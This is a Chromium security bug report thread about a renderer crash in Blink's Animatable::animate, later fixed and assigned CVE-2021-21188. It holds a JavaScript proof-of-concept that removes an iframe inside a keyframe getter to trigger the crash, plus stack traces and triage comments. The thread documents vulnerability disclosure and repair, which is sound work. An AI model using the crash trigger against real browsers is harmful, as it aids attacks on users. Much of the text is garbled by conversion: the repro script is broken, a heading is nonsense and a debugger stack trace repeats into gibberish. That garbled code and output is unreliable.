

Issue 1161739: Security: UAP in animate

Reported by rapid...@gmail.com on Thu, Dec 24, 2020, 11:47 AM EST

Code

VULNERABILITY DETAILS

Animatable::animate firstly check element->GetExecutionContext(), which whether ExecutionContext is freed or not.[1] but we call getter after this checking: KeyframeEffect::Create[2]-> EffectInput::Convert[3]->EffectInput::ParseKeyframesArgument[4] so it can do ContextDestroyed but in Animation::Create, use it [5][6]

```
[1]:
https://source.chromium.org/chromium/chromium/src/+/master:third_party/blink/renderer/core/animation/animatable.cc;drc=9308399e9dc0cd4bbeaf8de34eaa4d1fcdf4a8f7;l=
8
[2]:
https://source.chromium.org/chromium/chromium/src/+/master:third_party/blink/renderer/core/animation/animatable.cc;drc=9308399e9dc0cd4bbeaf8de34eaa4d1fcdf4a8f7;l=
71
[3]:
https://source.chromium.org/chromium/chromium/src/+/master:third_party/blink/renderer/core/animation/keyframe_effect.cc;drc=136fcf40451b2da80d1adc292f43d3cf3b95f0c7;l=116
[4]:
https://source.chromium.org/chromium/chromium/src/+/master:third_party/blink/renderer/core/animation/effect_input.cc;drc=136fcf40451b2da80d1adc292f43d3cf3b95f0c7;l=69
[5]:
https://source.chromium.org/chromium/chromium/src/+/master:third_party/blink/renderer/core/animation/animatable.cc;drc=9308399e9dc0cd4bbeaf8de34eaa4d1fcdf4a8f7;l=
89
[6]:
https://source.chromium.org/chromium/chromium/src/+/master:third_party/blink/renderer/core/animation/animatable.cc;drc=9308399e9dc0cd4bbeaf8de34eaa4d1fcdf4a8f7;l=
89
[6]:
https://source.chromium.org/chromium/chromium/src/+/master:third_party/blink/renderer/core/animation/animatable.cc;drc=9308399e9dc0cd4bbeaf8de34eaa4d1fcdf4a8f7;l=
89
[6]:
https://source.chromium.org/chromium/chromium/src/+/master:third_party/blink/renderer/core/animation/animatable.cc;drc=136fcf40451b2da80d1adc292f43d3cf3b95f0c7;l=27
0
VERSION
Chrome Version: chrome stable
Operating System: all
```

DEDDODUOTION 040E

```
REPRODUCTION CASE
"'html
'body></body>
<script>
function allociframe(){
var iframe = document.createElement( "iframe");
console.log(iframe);
iframe.height = 0;
iframe.width = 0;
///
document.body.appendChild( iframe );
return iframe;
}
iframe = allociframe();
c = iframe.contentDocument.createElement("div");
var arr=[];
```

```
arr. defineGetter (0.()=>{
   console.log("getter");
    document.body.removeChild(iframe);
   return { transform: 'translate3D(0, -300px, 0)' };
c.animate(arr,{
 duration: 3000
 iterations: Infinity
 timeline:null
});
</script>
Received signal 11 SEGV MAPERR 0000000000290
#0 0x7ff743625daf base::debug::CollectStackTrace()
#1 0x7ff7433a23ad base::debug::StackTrace::StackTrace()
#2 0x7ff7433a2368 base::debug::StackTrace::StackTrace()
#3 0x7ff743625868 base::debug::(anonymous namespace)::StackDumpSignalHandler()
#4 0x7ff70d74f390 (/lib/x86_64-linux-gnu/libpthread-2.23.so+0x1138f)
#5 0x7ff71c1ce9ac blink::MemberBase<>::GetRaw()
#6 0x7ff71c2acf25 blink::MemberBase<>::Get()
#7 0x7ff71cd4b21e blink::LocalDOMWindow::document()
#8 0x7ff71ea93c77 blink::Animation::Animation()
#9 0x7ff71eaa3d5b ZN5blink25MakeGarbageCollectedTraitINS 9AnimationEF4CallURPNS 16ExecutionContextEDnRPNS 15AnimationEffectEFEEPS1 DnOT
#10 0x7ff71ea9eb15_ZN5blink20MakeGarbageCollectedINS_9AnimationEJRPNS_16ExecutionContextEDnRPNS_15AnimationEffectEEEEPT_DpOT0_
#11 0x7ff71ea9371a blink::Animation::Create()
#12 0x7ff71ea91630 blink::Animatable::animate()
#13 0x7ff711ea3417 blink::(anonymous namespace)::AnimateOperationCallback()
#14 0x7ff715ac8560 v8::internal::FunctionCallbackArguments::Call()
#15 0x7ff715ac6d3f v8::internal::(anonymous namespace)::HandleApiCallHelper<>()
#16 0x7ff715ac4f7a v8::internal::Builtin_Impl_HandleApiCall()
#17 0x7ff715ac4a39 v8::internal::Builtin_HandleApiCall()
#18 0x7ff71550309f Builtins_CEntry_Return1_pontSaveFPRegs_ArgvOnStack_BuiltinExit
 r8: 000000000000000 r9: 00007ff6f5a56080 r10: 000000000000050 r11: 00007ff70b880050
r12: 00007ff711ea2c70 r13: 000019ac00000000 r14: 00007ffd31c3a1e0 r15: 00007ffd31c3a1e0
 di: 0000000000000290 si: 00000000efcdab90 bp: 00007ffd31c39870 bx: 00007ff7437b0590
 dx: 00000000000000 ax: 000000000000000 cx: 0964a123c6fd2c00 sp: 00007ffd31c39870
 ip: 00007ff71c1ce9ac efl: 0000000000010202 cgf: 002b00000000033 erf: 00000000000004
[end of stack trace]
CREDIT INFORMATION
Externally reported security bugs may appear in Chrome release notes. If
this bug is included, how would you like to be credited?
Reporter credit: Woojin Oh(@pwn_expoit) of STEALIEN
 Comment 1 by sheriffbot on Thu, Dec 24, 2020, 11:48 AM EST Project Membe
  Labels: reward-potential
 Comment 2 by ajgo@google.com on Thu, Dec 24, 2020, 2:28 PM EST Project Member
 Cc: peria@chromium.org yigu@chromium.org flackr@chromium.org kevers@chromium.org majidvp@chromium.org smcgruer@chromium.org
  Components: Blink>Animation
 Thanks for the report. I will attempt to repro this after the break, but tentatively assigning as High (renderer RCE)
 +peria +vigu as recent committers to Animation::Create
 +owners as owners.
 Comment 3 by ajgo@google.com on Mon, Dec 28, 2020, 7:48 PM EST Project Member
Crash reproduces on Windows. It is however not a use-after-poison but an access violation.
                                   windows.asan
 Comment 4 by ajgo@google.com on Mon, Dec 28, 2020, 7:53 PM EST Project Member
 (sorry, asan from wrong bug, nothing to see here)
      windows-asan.log
 Comment 5 by ajgo@google.com on Mon, Dec 28, 2020, 8:04 PM EST Project Member
 Status: Untriaged (was: Unconfirmed)
 Labels: Security Impact-Stable Security Severity-High OS-Android OS-Chrome OS-Fuchsia OS-Linux OS-Windows
 So far I can only make this access a small offset from the null pointer so this may be a null-deref and so not a security bug.
 It would be good for an owner to take a look as I'm not familiar with this area of chrome.
 Comment 6 by ajgo@google.com on Mon, Dec 28, 2020, 8:09 PM EST Project Member
I can only get it to crash here with rcx==0:
9:166> r
rax=0000000000000000 rbx=000000000000002a rcx=00000000000000000
 rdx=0000000000000000000 rsi=00003652f7b22450 rdi=00003652f7b224c8
 rip=00007ffc95f89030 rsp=00000050e5ffd188 rbp=000000000000001
 r8=0000050e5ffd0c8 r9=0000323f5200d970 r10=0000000000ff0000
r11=0000000000008000 r12=00000000000000 r13=000004090000000
r14=0000000000000000 r15=00003652f7b22280
                  nv up ei pl zr na po nc
 cs=0033 ss=002b ds=002b es=002b fs=0053 gs=002b
                                                                                                           efl=00010246
 chrome!views::View::GetNextFocusableView:
00007ffc`95f89030 488b8108020000 mov rax,qword ptr [rcx+208h] ds:00000000`00000208=?????????????
 9:166> k
 # Child-SP
                             RetAddr
                                                         Call Site
##Cffffd-SP RevOut Call office On 000000050 e5ffd188 00007ffc 98ebff0a 01 00000050 e5ffd198 00007ffc 98ebff0a 01 00000050 e5ffd190 00007ffc 98eb676f chromelviews::View::GetNextFocusableView [C:\src\chromium\src\uii\views\view.cc @ 1503] 01 00000050 e5ffd190 00007ffc 98eb676f chromelviews::View::GetNextFocusableView [C:\src\chromium\src\uii\views\view.cc @ 1503] 01 00000050 e5ffd190 00007ffc 98eb676f chromelviews::View::GetNextFocusableView [C:\src\chromium\src\uii\views\view.cc @ 1503] 01 00000050 e5ffd190 00007ffc 98eb676f chromelviews::View::GetNextFocusableView [C:\src\chromium\src\uii\views\view:\view::GetNextFocusableView [C:\src\chromium\src\uii\views\view::GetNextFocusableView [C:\src\chromium\src\uii\views\view:\view::GetNextFocusableView [C:\src\chromium\src\uii\views\view::GetNextFocusableView [C:\src\chromium\src\uii\views\view::GetNextFocusableView [C:\src\chromium\src\uii\views\views\view::GetNextFocusableView [C:\src\chromium\src\uiii\views\views\views\views\views\views\views\views\views\views
02\ 00000050\text{'esffd1f0}\ 00007\text{ffc'}98\text{ebfc8d} \\ \quad \text{chrome!blink::MakeGarbageCollectedTrait<blink::Animation>::Call<blink::ExecutionContext *\&,nullptr_t,blink::AnimationEffectionContext *\&,nullptr_t,b
 *&>+0xdf [C:\src\chromium\src\third_party\blink\renderer\platform\heap\impl\heap.h @ 569]
                                                   --- chrome!blink::MakeGarbageCollected+0x5 [C:\src\chromium\src\third_party\blink\renderer\platform\heap\impl\heap.h @ 608]
04 00000050'e5fffd240 00007fffc'9a4a3930 chromelblink::Animation::Create+0x6d [C:\src\chromium\src\third_party\blink\renderer\core\animation\animation\cc @ 230]
```

rapid.pwn: Let me know if you can find a way to control EIP, otherwise I will turn this into a normal crash

Comment 7 by ajgo@google.com on Mon, Dec 28, 2020, 8:09 PM EST Project Member

Labels: Needs-Feedback

Comment 8 by rapid...@gmail.com on Mon, Dec 28, 2020, 8:13 PM EST

it is similar to this: https://bugs.chromium.org/p/chromium/issues/detail?id=1051748. i don't know clearly a way to control EIP

Comment 9 by sheriffbot on Tue, Dec 29, 2020, 12:47 PM EST Project Member

Labels: M-87 Target-87

Setting milestone and target because of Security_Impact=Stable and high severity.

For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot

Comment 10 by sheriffbot on Tue, Dec 29, 2020, 1:28 PM EST Project Member

Labels: -Pri-3 Pri-1

Setting Pri-1 to match security severity High. If this is incorrect, please reset the priority. Sheriffbot won't make this change again.

For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot

Comment 11 by smcgruer@chromium.org on Tue, Jan 5, 2021, 9:27 AM EST Project Member

Cc: -smcgruer@chromium.org

Comment 12 by xinghuilu@chromium.org on Wed, Jan 13, 2021, 2:37 PM EST Project Member

Status: Assigned (was: Untriaged) Owner: flackr@chromium.org

flackr@, could you take a look at this issue? Thanks!

Comment 13 by sheriffbot on Thu, Jan 14, 2021, 12:21 PM EST Project Member

flackr: Uh ohl This issue still open and hasn't been updated in the last 21 days. This is a serious vulnerability, and we want to ensure that there's progress. Could you please leave an update with the current status and any potential blockers?

If you're not the right owner for this issue, could you please remove yourself as soon as possible or help us find the right one?

If the issue is fixed or you can't reproduce it, please close the bug. If you've started working on a fix, please set the status to Started.

Thanks for your time! To disable nags, add the Disable-Nags label.

For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot

nent 14 by flackr@chromium.org on Thu, Jan 14, 2021, 12:59 PM EST Project Member

Owner: kevers@chromium.org

Cc: -kevers@chromium.org Kevin, can you have a look at this one? Thanks!

Comment 15 by bugdroid on Mon, Jan 18, 2021, 5:40 PM EST Project Member

The following revision refers to this bug:

nium/src/+/db032cf0a96b0e7e1007f181d8ce21e39617cee7 https://chromium.googlesource.com/chro

commit db032cf0a96b0e7e1007f181d8ce21e39617cee7

Author: Kevin Ellis <kevers@chromium.org>

Date: Mon Jan 18 22:39:20 2021

Test for persistent execution context during Animatable::animate.

Prior to the patch, the validity of the execution context was only checked on entry to the method; however, the execution context can be invalidated during the course of parsing keyframes or options. The parsing of options is upstream of Animatable::animate and caught by the existing check, but invalidation during keyframe parsing could fall through triggering a crash.

Change-Id: Ic0fc927d1d6ce902592bf92261fd4c506e96afac

Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/2636213

Commit-Queue: Kevin Ellis <kevers@chromium.org>

Reviewed-by: Robert Flack <flackr@chromium.o

Cr-Commit-Position: refs/heads/master@{#844622}

 $[modify] \ https://crrev.com/db032cf0a96b0e7e1007f181d8ce21e39617cee7/third_party/blink/renderer/core/animation/animatable.cc$

[add] https://crrev.com/db032cf0a96b0e7e1007f181d8ce21e39617cee7/third_party/blink/web_tests/animations/stability/animate-remove-iframe-crash.html

Comment 16 by kevers@chromium.org on Tue, Jan 19, 2021, 10:03 AM EST Project Member

Labels: Merge-Request-89

Fix is in canary build 90.0.4393.0.

Requesting merge into M89 for security fix.

Comment 17 by sheriffbot on Wed, Jan 20, 2021, 10:07 AM EST Project Member

Labels: -Merge-Request-89 Hotlist-Merge-Approved Merge-Approved-89

Your change meets the bar and is auto-approved for M89. Please go ahead and merge the CL to branch 4389 (refs/branch-heads/4389) manually. Please contact milestone owner if you have questions.

Merge instructions: https://www.chromium.org/developers/how-tos/drover

Owners: benmason@(Android), bindusuvarna@(iOS), geohsu@(ChromeOS), pbommana@(Desktop)

For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot

Comment 18 by sheriffbot on Wed, Jan 20, 2021, 12:21 PM EST Project Member

Labels: -M-87 Target-88 M-88

Comment 19 by adetaylor@google.com on Wed, Jan 20, 2021, 6:57 PM EST Project Member

Labels: -reward-potential external_security_report

Comment 20 by bugdroid on Thu, Jan 21, 2021, 1:47 PM EST Project Member

Labels: -merge-approved-89 merge-merged-89 merge-merged-4389

The following revision refers to this bug:

https://chromium.googlesource.com/chromium/src/+/caa445461d9b0ef3589c22ee1d41ef4a385b87e4

commit caa445461d9b0ef3589c22ee1d41ef4a385b87e4

Author: Kevin Ellis <kevers@chromium.org>

Date: Thu Jan 21 18:47:26 2021

Test for persistent execution context during Animatable::animate.

Prior to the patch, the validity of the execution context was only checked on entry to the method; however, the execution context can be invalidated during the course of parsing keyframes or options. The parsing of options is upstream of Animatable::animate and caught by the existing check, but invalidation during keyframe parsing could fall through triggering a crash.

(cherry picked from commit db032cf0a96b0e7e1007f181d8ce21e39617cee7)

Bug: 1161730

Change-Id: Ic0fc927d1d6ce902592bf92261fd4c506e96afac

Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/2636213

Commit-Queue: Kevin Ellis <kevers@chromium.org>

Reviewed-by: Robert Flack <flackr@chromium.org>

Cr-Original-Commit-Position: refs/heads/master@{#844622}

Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/2642976

Auto-Submit: Kevin Ellis <kevers@chromium.org>

Cr-Commit-Position: refs/branch-heads/4389@{#91}

Cr-Branched-From: 9251c5db2b6d5a59fe4eac7aafa5fed37c139bb7-refs/heads/master@{#843830}

[modify] https://crrev.com/caa445461d9b0ef3589c22ee1d41ef4a385b87e4/third_party/blink/renderer/core/animation/animatable.cc [add] https://crrev.com/caa445461d9b0ef3589c22ee1d41ef4a385b87e4/third_party/blink/web_tests/animations/stability/animate-remove-iframe-crash.html

Comment 21 by kevers@chromium.org on Thu, Jan 21, 2021, 1:50 PM EST Project Member

Status: Fixed (was: Assigned)

Comment 22 by sheriffbot on Thu, Jan 21, 2021, 1:57 PM EST Project Member

Labels: -Restrict-View-SecurityTeam Restrict-View-SecurityNotify

Comment 23 by sheriffbot on Fri, Jan 22, 2021, 12:44 PM EST Project Member

Labels: reward-topanel

Comment 24 by amyressler@google.com on Wed, Jan 27, 2021, 7:00 PM EST Project Member

Labels: reward-0

I'm sorry, but the VRP Panel has declined to reward this report as this issue does not appear to be a security bug. We are happy to re-open if you resubmit showing exploitability. Thank you!

Comment 25 by adetaylor@google.com on Fri, Jan 29, 2021, 4:57 PM EST Project Member

Labels: -Security Severity-High Security Severity-Low

If this is null pointer deref, it's not a security bug, but bumping down to Low out of an abundance of caution.

Comment 26 by amyressler@google.com on Mon, Feb 1, 2021, 1:59 PM EST Project Member

Labels: -reward-topanel

Comment 27 by adetaylor@google.com on Fri, Feb 26, 2021, 1:08 PM EST Project Member

Labels: Release-0-M89

Comment 28 by adetaylor@google.com on Mon, Mar 1, 2021, 7:29 PM EST Project Member

Labels: CVE-2021-21188 CVE_description-missing

Comment 29 by kevers@chromium.org on Thu, Mar 4, 2021, 1:21 PM EST Project Member

Validation of the fix contained in the following test:

 $third_party/blink/web_tests/animations/stability/animate-remove-iframe-crash.html$

Comment 30 by amyressler@google.com on Tue, Mar 9, 2021, 12:59 PM EST Project Member

 $\textbf{Labels: -CVE_} description-missing \ CVE_ description-submitted$

Comment 31 by sheriffbot on Fri, Apr 30, 2021, 1:51 PM EDT Project Member

Labels: -Restrict-View-SecurityNotify all public

This bug has been closed for more than 14 weeks. Removing security view restrictions.

 $For more \ details \ visit \ https://www.chromium.org/issue-tracking/autotriage \ - \ Your \ friendly \ Sheriffbot$

About Monorail User Guide Release Notes Feedback on Monorail Terms Privace